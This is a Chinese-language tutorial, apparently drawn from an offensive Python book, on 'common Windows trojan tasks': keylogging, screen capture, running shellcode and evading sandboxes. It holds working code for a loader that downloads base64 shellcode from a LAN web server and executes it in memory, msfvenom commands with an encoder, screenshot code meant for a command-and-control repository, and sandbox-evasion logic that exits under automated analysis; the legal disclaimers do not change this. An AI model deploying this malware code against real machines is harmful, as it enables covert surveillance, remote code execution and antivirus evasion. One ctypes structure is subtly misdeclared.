13、Windows 常见木马任务操作指南

Windows 常见木马任务操作指南

在网络安全领域，掌握一些特定的技术手段对于理解和应对潜在威胁至关重要。本文将详细介绍几种常见的 Windows 操作技术，包括键盘记录、截图、shellcode 执行以及沙盒检测。

1. 键盘记录器

键盘记录器是一种用于记录用户键盘输入的工具。为了遵循之前创建的模块模式，我们编写的键盘记录器也有一个名为 run 的入口函数。以下是 run 函数的关键部分代码：

log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
    print(run())
    print('done.')

在 run 函数中，我们首先将 stdout 临时切换到一个类似文件的对象 StringIO ，这样所有写入 stdout 的内容都会被记录到该对象中，方便后续查询。之后，创建 KeyLogger 对象并定义 PyWinHook HookManager ，将 KeyDown 事件绑定到 KeyLogger 的回调方法 mykeystroke 上，然后让 PyWinHook 监听所有按键操作，直到超时。

mykeystroke 方法的主要功能如下：
1. 检查窗口切换 ：如果用户切换了窗口，获取新窗口的名称和进程信息。
2. 处理按键输入 ：如果按键在 ASCII 可打印范围内，直接打印；如果是修饰键（如 SHIFT、CTRL 或 ALT）或其他非标准键，从事件对象中获取键名。
3. 检查粘贴操作 ：如果用户执行粘贴操作，转储剪贴板内容。
4. 返回值 ：返回 True 以允许链中的下一个钩子处理事件。

测试键盘记录器非常简单，只需运行脚本，然后正常使用 Windows 系统，如使用浏览器、计算器等应用程序，最后在终端中查看记录结果。例如：

C:\Users\tim>python keylogger.py
 6852 WindowsTerminal.exe Windows PowerShell
Return
test
Return
 18149 firefox.exe Mozilla Firefox
nostarch.com
Return
 5116 cmd.exe Command Prompt
calc
Return
 3004 ApplicationFrameHost.exe Calculator
1 Lshift
+1
Return

2. 截图功能

许多恶意软件和渗透测试框架都具备在远程目标上截图的能力，这有助于捕获图像、视频帧或其他敏感数据。我们可以使用 pywin32 包调用 Windows API 来实现截图功能。安装 pywin32 包的命令如下：

pip install pywin32

以下是实现截图功能的代码：

import base64
import win32api
import win32con
import win32gui
import win32ui

def get_dimensions():
    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
    return (width, height, left, top)

def screenshot(name='screenshot'):
    hdesktop = win32gui.GetDesktopWindow()
    width, height, left, top = get_dimensions()
    desktop_dc = win32gui.GetWindowDC(hdesktop)
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)
    mem_dc = img_dc.CreateCompatibleDC()
    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)
    mem_dc.SelectObject(screenshot)
    mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
    screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')
    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())

def run():
    screenshot()
    with open('screenshot.bmp') as f:
        img = f.read()
    return img

if __name__ == '__main__':
    screenshot()

代码的主要步骤如下：
1. 获取桌面句柄 ：使用 win32gui.GetDesktopWindow() 获取整个桌面的句柄。
2. 确定屏幕尺寸 ：调用 get_dimensions 函数获取屏幕的宽度、高度、左边界和上边界。
3. 创建设备上下文 ：使用 GetWindowDC 函数创建设备上下文，并创建一个基于内存的设备上下文用于存储图像。
4. 创建位图对象 ：创建一个位图对象，并将其设置为桌面设备上下文。
5. 复制图像 ：使用 BitBlt 函数将桌面图像逐位复制到内存设备上下文中。
6. 保存图像 ：将图像保存为 BMP 文件。

测试该脚本只需从命令行运行，然后检查目录中是否生成了 screenshot.bmp 文件。你还可以将此脚本包含在 GitHub 命令和控制仓库中，因为 run 函数会调用 screenshot 函数创建图像并读取返回文件数据。

3. Python 执行 Shellcode

在某些情况下，你可能需要与目标机器进行交互或使用新的漏洞利用模块，这通常需要执行 shellcode。为了在不接触文件系统的情况下执行原始 shellcode，我们需要在内存中创建一个缓冲区来存储 shellcode，并使用 ctypes 模块创建一个指向该内存的函数指针，然后调用该函数。以下是实现代码：

from urllib import request
import base64
import ctypes
kernel32 = ctypes.windll.kernel32

def get_code(url):
    with request.urlopen(url) as response:
        shellcode =  base64.decodebytes(response.read())
    return shellcode

def write_memory(buf):
    length = len(buf)
    kernel32.VirtualAlloc.restype = ctypes.c_void_p
    kernel32.RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t)
    ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
    kernel32.RtlMoveMemory(ptr, buf, length)
    return ptr

def run(shellcode):
    buffer = ctypes.create_string_buffer(shellcode)
    ptr = write_memory(buffer)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    url = "http://192.168.1.203:8100/shellcode.bin"
    shellcode = get_code(url)
    run(shellcode)

代码的主要步骤如下：
1. 获取 shellcode ：使用 get_code 函数从 Web 服务器获取 base64 编码的 shellcode 并解码。
2. 写入内存 ：在 write_memory 函数中，首先分配所需的内存（使用 VirtualAlloc ），然后将包含 shellcode 的缓冲区移动到分配的内存中（使用 RtlMoveMemory ）。为了确保在 32 位或 64 位 Python 中都能正常运行，需要设置 VirtualAlloc.restype 和 RtlMoveMemory.argtypes 。
3. 执行 shellcode ：在 run 函数中，使用 ctypes.cast 函数将缓冲区转换为函数指针，然后调用该函数指针执行 shellcode。

测试时，你可以手动编写 shellcode 或使用渗透测试框架（如 Metasploit）生成。以下是使用 Metasploit 生成 shellcode 的示例步骤：
1. 生成原始 shellcode ：

msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw cmd=calc.exe > shellcode.raw

2. Base64 编码 ：

base64 -w 0 -i shellcode.raw > shellcode.bin

3. 启动 HTTP 服务器 ：

python -m http.server 8100

将 shell_exec.py 脚本放到 Windows 机器上执行，如果一切正常，你会在 Linux 终端看到类似 192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 - 的输出，这表明脚本已从 Web 服务器获取了 shellcode。

4. 沙盒检测

随着反病毒解决方案越来越多地使用沙盒技术来检测可疑样本的行为，我们需要采取措施避免被沙盒检测到。我们可以通过监测目标机器的用户输入情况来判断是否处于沙盒环境中。

以下是沙盒检测代码：

from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
import random
import sys
import time
import win32api

class LASTINPUTINFO(Structure):
    fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_ulong)
    ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
    windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
    run_time = windll.kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print(f"[*] It's been {elapsed} milliseconds since the last event.")
    return elapsed

while True:
    get_last_input()
    time.sleep(1)

代码的主要步骤如下：
1. 定义结构 ：定义 LASTINPUTINFO 结构来存储最后一次输入事件的时间戳。
2. 获取最后一次输入时间 ：在 get_last_input 函数中，首先初始化 struct_lastinputinfo.cbSize 为结构的大小，然后调用 GetLastInputInfo 函数获取最后一次输入时间，再使用 GetTickCount 函数获取系统运行时间，计算两者的差值得到 elapsed 时间。
3. 测试代码 ：最后一段代码是简单的测试代码，每秒调用一次 get_last_input 函数，你可以运行脚本，移动鼠标或按下键盘按键，观察输出结果。

为了更准确地判断是否处于沙盒环境，我们可以设置一些阈值，结合鼠标点击、按键和双击的情况进行判断。以下是改进后的代码：

class Detector:
    def __init__(self):
        self.double_clicks = 0
        self.keystrokes = 0
        self.mouse_clicks = 0

    def get_key_press(self):
        for i in range(0, 0xff):
            state = win32api.GetAsyncKeyState(i)
            if state & 0x0001:
                if i == 0x1:
                    self.mouse_clicks += 1
                    return time.time()
                elif i > 32 and i < 127:
                    self.keystrokes += 1
        return None

    def detect(self):
        previous_timestamp = None
        first_double_click = None
        double_click_threshold = 0.35
        max_double_clicks = 10
        max_keystrokes = random.randint(10,25)
        max_mouse_clicks = random.randint(5,25)
        max_input_threshold = 30000
        last_input = get_last_input()
        if last_input >= max_input_threshold:
            sys.exit(0)
        detection_complete = False
        while not detection_complete:
            keypress_time = self.get_key_press()
            if keypress_time is not None and previous_timestamp is not None:
                elapsed = keypress_time - previous_timestamp
                if elapsed <= double_click_threshold:
                    self.mouse_clicks -= 2
                    self.double_clicks += 1
                    if first_double_click is None:
                        first_double_click = time.time()
                    else:
                        if self.double_clicks >= max_double_clicks:
                            if (keypress_time - first_double_click <=
                                (max_double_clicks*double_click_threshold)):
                                sys.exit(0)
                if (self.keystrokes >= max_keystrokes and
                    self.double_clicks >= max_double_clicks and
                    self.mouse_clicks >= max_mouse_clicks):
                    detection_complete = True
                previous_timestamp = keypress_time
            elif keypress_time is not None:
                previous_timestamp = keypress_time

if __name__ == '__main__':
    d = Detector()
    d.detect()
    print('okay.')

在 Detector 类中， get_key_press 方法用于检测鼠标点击和按键输入， detect 方法是主要的沙盒检测循环。在 detect 方法中，我们首先定义了一些变量和阈值，然后获取最后一次输入的 elapsed 时间，如果超过最大输入阈值则退出。接着进入主循环，检测按键或鼠标点击事件，计算鼠标点击之间的时间差判断是否为双击，同时检查是否达到最大的点击、按键和双击次数，如果达到则认为不在沙盒环境中，退出检测循环。

通过以上几种技术，我们可以在 Windows 系统中实现键盘记录、截图、shellcode 执行和沙盒检测等功能，这些技术在渗透测试和安全研究中具有重要意义。但需要注意的是，这些技术只能用于合法的安全研究和测试，不得用于非法活动。

Windows 常见木马任务操作指南

5. 各项技术的流程总结与对比

为了更清晰地理解上述各项技术的操作流程，下面将以表格形式进行总结对比：
| 技术名称 | 主要步骤 | 关键代码函数 | 测试方法 |
| — | — | — | — |
| 键盘记录器 | 1. 临时切换 stdout 到 StringIO ；2. 创建 KeyLogger 对象和 HookManager ；3. 绑定 KeyDown 事件到回调方法；4. 监听按键操作 | run 、 mykeystroke | 运行脚本后正常使用 Windows 应用，在终端查看记录结果 |
| 截图功能 | 1. 获取桌面句柄；2. 确定屏幕尺寸；3. 创建设备上下文；4. 创建位图对象；5. 复制图像；6. 保存图像 | get_dimensions 、 screenshot 、 run | 从命令行运行脚本，检查目录中是否生成 screenshot.bmp 文件 |
| Python 执行 Shellcode | 1. 从 Web 服务器获取并解码 shellcode；2. 在内存中分配空间并写入 shellcode；3. 将缓冲区转换为函数指针并执行 | get_code 、 write_memory 、 run | 使用 Metasploit 生成 shellcode，启动 HTTP 服务器，在 Windows 机器上执行脚本，查看 Linux 终端输出 |
| 沙盒检测 | 1. 定义结构存储最后输入时间；2. 获取最后输入时间和系统运行时间，计算差值；3. 根据阈值和用户输入情况判断是否在沙盒中 | get_last_input 、 Detector 类的 get_key_press 和 detect | 运行脚本，移动鼠标或按键，观察输出结果 |

6. 技术应用场景与拓展思路

这些技术在不同的安全场景中有着广泛的应用：
- 渗透测试 ：键盘记录器可以帮助测试人员了解目标用户的操作习惯和输入信息；截图功能能够直观地查看目标机器的屏幕内容，发现潜在的敏感信息；shellcode 执行可以利用漏洞获取目标系统的控制权；沙盒检测则有助于避免被反病毒软件的沙盒机制检测到，提高渗透测试的成功率。
- 安全研究 ：通过对这些技术的研究，可以深入了解恶意软件的工作原理和攻击方式，从而开发出更有效的防御策略。

在实际应用中，我们还可以对这些技术进行拓展：
- 组合使用 ：可以将键盘记录器和截图功能结合起来，在记录用户按键的同时，定期截取屏幕，更全面地了解目标机器的使用情况。
- 增加功能 ：对于沙盒检测技术，可以添加虚拟机器检测功能，进一步提高检测的准确性；对于 shellcode 执行技术，可以支持更多类型的 shellcode 和生成方式。

7. 操作注意事项

在使用这些技术时，需要注意以下几点：
- 合法性 ：这些技术只能用于合法的安全研究和测试，不得用于非法活动。在进行任何测试之前，必须获得目标系统所有者的明确授权。
- 环境兼容性 ：不同的 Windows 系统版本和 Python 环境可能会对代码的运行产生影响，在使用之前需要进行充分的测试。
- 反病毒软件 ：反病毒软件可能会检测到这些技术的使用，因此在进行测试时需要确保测试环境不会触发反病毒软件的警报。

8. 总结

本文详细介绍了 Windows 系统中常见的几种技术，包括键盘记录、截图、shellcode 执行和沙盒检测。通过对这些技术的学习和实践，我们可以更好地理解和应对网络安全威胁。同时，我们也应该认识到这些技术的潜在风险，始终遵守法律法规，将其用于合法的安全研究和测试。

以下是上述几种技术操作流程的 mermaid 流程图：

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B{选择技术}:::decision
    B -->|键盘记录器| C(临时切换 stdout):::process
    C --> D(创建 KeyLogger 和 HookManager):::process
    D --> E(绑定 KeyDown 事件):::process
    E --> F(监听按键操作):::process
    F --> G(在终端查看记录结果):::process
    B -->|截图功能| H(获取桌面句柄):::process
    H --> I(确定屏幕尺寸):::process
    I --> J(创建设备上下文):::process
    J --> K(创建位图对象):::process
    K --> L(复制图像):::process
    L --> M(保存图像为 BMP 文件):::process
    B -->|Python 执行 Shellcode| N(从 Web 服务器获取 shellcode):::process
    N --> O(在内存中分配空间):::process
    O --> P(写入 shellcode):::process
    P --> Q(转换为函数指针并执行):::process
    Q --> R(查看 Linux 终端输出):::process
    B -->|沙盒检测| S(定义结构存储最后输入时间):::process
    S --> T(获取最后输入时间和系统运行时间):::process
    T --> U(计算时间差值):::process
    U --> V{根据阈值判断}:::decision
    V -->|是| W(退出):::process
    V -->|否| X(继续检测用户输入):::process
    X --> Y{达到阈值?}:::decision
    Y -->|是| Z(认为不在沙盒中):::process
    Y -->|否| X
    G --> AA([结束]):::startend
    M --> AA
    R --> AA
    Z --> AA

希望本文能够为你在 Windows 系统的安全研究和测试中提供有价值的参考，让你更好地掌握这些技术的使用方法和应用场景。同时，也鼓励你在合法合规的前提下，对这些技术进行进一步的探索和创新。